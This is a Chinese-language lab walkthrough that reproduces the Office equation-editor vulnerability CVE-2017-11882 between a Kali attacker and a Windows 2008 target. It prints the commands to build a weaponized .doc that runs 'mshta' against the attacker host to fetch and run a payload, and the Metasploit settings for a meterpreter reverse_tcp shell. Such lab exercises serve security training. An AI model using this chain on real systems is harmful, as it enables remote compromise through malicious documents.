Office远程代码执行漏洞(CVE-2017-11882)漏洞复现
- 1.漏洞原理
- 2.在Kali平台查看漏洞利用文件
- 3.登录目标靶机,打开FTP服务器
- 4.登录Kali,利用FTP服务器上传payload-cale.doc文件
- 5.登录目标靶机,触发doc文件,验证存在漏洞
- 6.登录kali平台,执行命令,生成含有攻击代码的doc文档
- 7.在kali平台上启动并配置metapsloit
- 8.在目标平台双击payloadattack.doc文档,触发漏洞
1.漏洞原理
CVE-2017-11882允许攻击者在当前用户的上下文中运行任意代码,导致无法正确处理内存中的对象,即为“ Microsoft Office Memory Corruption Vulnerability “,栈溢出的远程执行漏洞
该漏洞是在EQNEDT32.EXE
组件的缓冲区溢出导致。当受害用户打开Office文档时就有可能被漏洞利用,危害极大。 原因是由于EQNEDT32.EXE
进程读入包含MathType的ole数据。函数给Font Name数据分配的大小是0x24个字节,超过大小会造成栈缓冲区溢出。而程序在拷贝公式Font Name数据时没有对其长度进行校验,从而导致漏洞发生
通杀以下没有更新的Office版本:
- Microsoft Office 2000
- Microsoft Office 2003
- Microsoft Office 2007 Service Pack 3
- Microsoft Office 2010 Service Pack 2
- Microsoft Office 2013 Service Pack 1
- Microsoft Office 2016
- MicrosoftOffice 365
漏洞环境:
攻击机:Kali(10.10.0.11)
工具:metasploit
目标靶机:Windows2008 (10.10.0.9)
工具:Office软件、Ftpserver
2.在Kali平台查看漏洞利用文件
准备攻击的payload文件(doc文件):
该文件由Github的CVE-2017-11882.py
攻击脚本生成
python CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o payload-cale.doc
它的功能是打开office文本的同时能够弹出计算机程序,本实验通过此文本验证目标靶机上是否存在Office远程代码执行漏洞(CVE-2017-11882)漏洞
3.登录目标靶机,打开FTP服务器
打开FTP服务器。点击最左面绿色按钮,启动ftp服务器:
可以看到以下变化:ftp服务器启动。显示“FTP服务在线”。FTP文件目录是在靶机桌面上
4.登录Kali,利用FTP服务器上传payload-cale.doc文件
Kali终端上切换到root账户,之后使用ftp工具连接靶机服务:
登录ftp成功后,将payload-cale.doc文件通过命令上传到目标靶机windows2008上
put /home/college/CVE-2017-11882-payload/payload-cale.doc /payload-cale.doc
5.登录目标靶机,触发doc文件,验证存在漏洞
6.登录kali平台,执行命令,生成含有攻击代码的doc文档
python CVE-2017-11882.py -c "mshta http://10.10.0.11:8080/payload" -o payloadattack.doc
利用FTP服务上传文件到目标靶机:
7.在kali平台上启动并配置metapsloit
启动:
msfconsole
查找CVE-2017-11882 漏洞:
search CVE-2017-11882
加载攻击利用程序,设置payload及各项参数:
use exploit/windows/smb/CVE-2017-11882
设置payload为反弹tcp:
set payload windows/meterpreter/reverse_tcp
设置本机地址:
set lhost 10.10.0.11
设置uri的路径:
set URIPATH payload
运行payload,启动利用后,msf会监听本机8080端口,靶机访问10.10.0.11:8080/payload
,打开链接就会得到反弹到4444端口的tcp会话中
发起漏洞攻击:
exploit -j
8.在目标平台双击payloadattack.doc文档,触发漏洞
在靶机桌面上可以看到上步ftp上传的文件的文件,双击打开此文件,即可建立连接了